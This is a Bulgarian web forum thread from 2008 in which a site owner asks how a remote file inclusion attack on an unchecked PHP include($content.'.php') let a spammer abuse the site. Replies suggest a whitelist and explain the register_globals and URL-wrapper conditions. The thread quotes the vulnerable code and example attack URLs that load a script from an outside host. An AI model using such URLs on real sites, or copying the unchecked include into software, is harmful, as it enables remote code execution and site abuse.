Клубове Дир.бг
powered by diri.bg
търси в Клубове diri.bg Разширено търсене

Вход
Име
Парола

Клубове
Dir.bg
Взаимопомощ
Горещи теми
Компютри и Интернет
Контакти
Култура и изкуство
Мнения
Наука
Политика, Свят
Спорт
Техника
Градове
Религия и мистика
Фен клубове
Хоби, Развлечения
Общества
Я, архивите са живи
Клубове Дирене Регистрация Кой е тук Въпроси Списък Купувам / Продавам 08:26 17.06.24 
Компютри и Интернет
   >> Хакери, Кракери ....
Всички теми Следваща тема *Кратък преглед

Тема Хакване на сайт чрез include() PHP  
Автор(Нерегистриран)
Публикувано25.02.08 16:21



Питането ми е следното как е възможно да се изпълни чужд скрипт през следния код.

Този подход беше използван наскоро, за изпращане на спам през моят сайт и мейл сървър. Как може да бъде предодвратена такава атака?


<?php
//index.php

include ($content.".php");

?>

http://www.mywebsite.com/index.php?ontent=http://www.hackersite.com/yh2?e

Благодаря предварително.



Тема Re: Хакване на сайт чрез include() PHPнови [re: Aз]  
Авторimagination (Нерегистриран)
Публикувано25.02.08 16:47



Защо не проверяваш какво инклудваш ?
Опиши си (примерно в един масив) файловете, които могат да се инклудват
Примерно така:

$allowed = Array("list.php", "show.php", etc..etc);

и след това проверявай GET параметъра

if (in_array($_GET['content'], $allowed)) {
nclude ($content.".php");
}

Поздрави.



Тема Re: Хакване на сайт чрез include() PHPнови [re: imagination]  
Автор(Нерегистриран)
Публикувано25.02.08 18:34



Аз вече проверявам дали файла съществува на localhost и чак тогава го инклудвам.

Не мога да си обясня обаче, как може от чужд сървър само чрез тази команда да се манипулира localhos, т.е. на localhost да се изпълняват скриптове, намиращи се на външен сървър при положение, че content.php не съдържа формуляри или променливи.



Тема Re: Хакване на сайт чрез include() PHPнови [re: Aз]  
Автор Bълk (много злобен)
Публикувано25.02.08 21:54



при register globals on и разрешен url fopen wrapper

http://yoursite/script.php?content=http://anothersite/myscript

include($content.".php")




Всички темиСледваща тема*Кратък преглед
Клуб :  


Clubs.dir.bg е форум за дискусии. Dir.bg не носи отговорност за съдържанието и достоверността на публикуваните в дискусиите материали.

Никаква част от съдържанието на тази страница не може да бъде репродуцирана, записвана или предавана под каквато и да е форма или по какъвто и да е повод без писменото съгласие на Dir.bg
За Забележки, коментари и предложения ползвайте формата за Обратна връзка | Мобилна версия | Потребителско споразумение
© 2006-2024 Dir.bg Всички права запазени.